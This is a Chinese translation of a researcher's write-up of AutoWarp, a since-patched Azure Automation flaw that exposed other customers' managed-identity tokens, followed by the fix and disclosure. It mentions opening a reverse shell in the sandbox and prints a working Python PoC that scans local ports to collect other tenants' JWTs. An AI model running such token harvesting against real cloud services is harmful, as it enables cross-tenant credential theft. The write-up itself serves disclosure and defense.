[译文] AutoWarp: Microsoft Azure自动化服务中的严重跨帐户漏洞

AutoWarp 是 Azure 自动化服务中的一个严重漏洞,通过该漏洞,攻击者可以在未经授权的情况下访问使用该服务的其它 Azure 客户的 Azure Automation 账号凭证,然后访问该账号下分配的资源与数据。

我们的研究表明,多家大公司正在使用该服务并存在被攻击的可能。我们直接向微软报告了这个问题,现在漏洞已经修复,所有受影响的客户都已收到通知。

如何判断自己的 Azure 账号是否受 AutoWarp 漏洞的影响

1.账号开通并使用了 Azure Automation 服务
2.启用了运行 Automation 服务时使用的账号(子账号)的 Managed Identity 特性(默认启用)

什么是 Azure Automation 服务

Azure Automation 服务允许客户以托管的方式在 Azure 上执行代码,客户可以指定执行的任务、任务输入与输出等信息。代码独立运行在沙箱中,与在同一个虚拟机上执行的其它客户的代码相隔离。

发现漏洞的细节

我在浏览 Azure 服务列表,寻找下一个要研究的服务时,在 管理与治理 类别下看到 自动化账户 的服务,我以为这是一种允许我自动化控制 Azure 帐户的服务。但当我创建了 Automation 账号后,才发现这是一个标准的自动化脚本服务;用户可以上传 Python 或 PowerShell 脚本并在 Azure 上托管执行。

关于研究,我最喜欢的是探索未知,所以我做的第一件事就是查看文件系统,看看我能找到什么有趣的东西。我执行了一个用于反弹 Shell 的 Python 任务,获取到 Shell 之后,我试图执行一些常见的 cmd 命令,如 tasklist。但是命令报错了,根据错误信息可以定位出 PathExt 环境变量的值不正确,通常情况下,它会包含 .exe 文件扩展名,但这台机器只有 .cpl(Windows 控制面板项的文件扩展名)。

当我查看 C:\ 目录时,首先引起我注意的是 orchestratortemp 目录。orchestrator 目录中存在很多 dllexe 文件,sandbox 文件让我意识到 orchestrator 目录中存放的就是运行 udf 功能的程序。temp 目录中发现了 “digs” 目录和 “trace.log” 文件。

一般情况下,日志都中会记录对开发人员重要的信息。幸运的是,这是一个非常好的日志文件。在第7行发现了:

1
2
3
4
5
Orchestrator.Sandbox.Diagnostics Critical: 
0 : [2021-12-06T12:08:04.5527647Z]
Creating asset retrieval web service.
[assetRetrievalEndpoint=
http://127.0.0.1:40008]

“没有什么比发现你的目标公开一个 web 服务更令人兴奋的了。特别是当它是本地的,在一个高的,似乎随机的端口。”

这对我来说是个危险信号,这就是我通常所说的“掩护” —— 为了绕过某些技术限制而做出的决策。为什么要选择如此高的随机端口呢? 因为其它端口已被占用。

我用 cURL 访问了 assetRetrievalEndpoint,但是没有返回什么有用的信息。我尝试访问了 40009、40010 等端口,部分端口可以正常访问,这证实了我的怀疑:日志中记录的 web 服务是由通过前面看到的 orchestrator 管理的。因此我必须了解发生了什么,这个 web 服务的作用是什么?

分析 Azure Automation 的代码

下载了 orchestrator 目录中的文件后,我用 ILSpy(一款 .NET 反编译器) 查找与 asset retrieval web service 相关的代码,我查看了配置 HTTP 路由的方法,发现 /oauth2/token/metadata/identity/oauth2/token 接口被映射到名为 MSI 的控制器上。当时我还不知道 MSI 是“托管服务标识”的首字母缩写。很有趣,对吧?

我之前没怎么做过 .net web 的开发或研究,所以我从代码中推断出这些路由映射到 MSIController 类,如果你熟悉MVC(模型-视图-控制器)的概念,这是非常简单的。同样有趣的是,一些软件开发的经验在审查源代码时很有帮助——它有助于在更复杂的情况下“读懂字里行间”。

我开始请求 /oauth2/token,为了让请求看起来像是来自元数据的请求,我加了 metadata: True 的 HTTP 请求头,并设置了 resource 参数。我想获取一个 Azure 管理 api 可以使用的令牌,所以 resource 参数为 resource=https://managment.azure.com/;发送请求后,返回了一个 JWT Token。Token 对应的用户身份是谁呢?我解码了 JWT Token,看到了自己的 subscription idtenant ID 和自动化帐户的资源ID。通过查看 Azure Automation Identity 的资料,我发现每个自动化帐户都有一个 “系统分配的托管身份”,这意味着我们可以将角色分配给执行自动化脚本任务的账号/子账号,然后,通过该服务管理角色身份。

我用 Azure CLI 发起获取所有虚拟机列表的请求来验证 JWT Token 是否有效,在发送请求时拦截并替换令牌,然后返回“没有权限“。这是因为我没有给 Automation 账号/子账号分配角色,在分配了兼容的角色后,令牌生效。这意味着,此处获取的是 Automation 账号的 JWT Token。

漏洞利用

获取 Automation 账号的 JWT Token 本身并没有风险,但是,在托管 UDF 的机器上,可以通过访问 asset retrieval 服务的其它端口获取到其它租户 Automation 账号的 JWT Token,这就很严重了。我写了个 PoC 用于从 40,000 开始向 20 个端口发出 HTTP 请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

PORT_RANGE_START = 40000
PORTS_TO_SCAN = 1000

print("Making requests to ports 40000 and up...")
for port in range(PORT_RANGE_START, PORT_RANGE_START + PORTS_TO_SCAN):
try:
resp = requests.post(f"http://127.0.0.1:{port}/oauth2/token",
timeout=0.5, headers={'Metadata': 'True'}, data={'resource':
'https://management.azure.com/'})
print(f"Port {port}: {resp.json()}")
except Exception as e:
continue

端口返回了不同的 JWT Token,很明显,我已经拿到了其它人的 Automation 账号 Token,在前面我已经证明只要给 Automation 账号相关的权限,就可以通过 JWT Token 来管理对应 Azure 帐户中的资源与数据。

我们想知道这个简单的漏洞对应的危害如何,因此使用 Azure 自动化的调度特性尝试从几百个端口获取令牌,并查看出现了哪些租户。我们不存储令牌,只提取关于租户的元数据(租户ID和自动化帐户资源ID)。

在这个问题被修补之前的短时间内,我们看到了许多独特的租户,包括几家非常知名的公司! 这是每小时一次的计划任务。如果我们持续运行,我们可能会捕获更多(一旦自动化作业完成,标识端点就会下降,因此在某些情况下,您必须非常快速地捕获它)。

这是一个相当简单的缺陷,但却演变成了一个非常有趣的漏洞。不清楚这里缺少什么,身份端点可能需要某种形式的身份验证(这个服务器上的其他端点肯定需要)。或者可能有人忽略了这样一个事实,即机器内部的内部网络实际上并不是您所期望的沙盒。

AutoWarp 微软 Azure 自动化漏洞的修复方案

我当天就向微软报告了这个漏洞。我要感谢他们在负责任的披露过程中如此积极响应和合作。微软决定通过在请求 JWT Token 时添加 X-IDENTITY-HEADER HTTP 请求头来修复这个漏洞。必须将该值设置为在环境变量中设置的秘密值。他们还提到他们正在对他们的架构进行全面审查,以确保这样的事情不会再次发生!

我们很高兴在问题落到坏人手里之前发现了这个问题。我们要感谢微软与我们合作,迅速而专业地解决了这个问题。我们对云提供商的重点研究将继续进行,您可以期待很快听到我们的更多消息。

思考

当云产品存在执行 UDF 的功能时,除了关注基本的漏洞外,还要额外关注执行 UDF 的服务本身是否会创建其它服务,以及 UDF 之间的网络/内存/磁盘隔离情况。

链接

owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%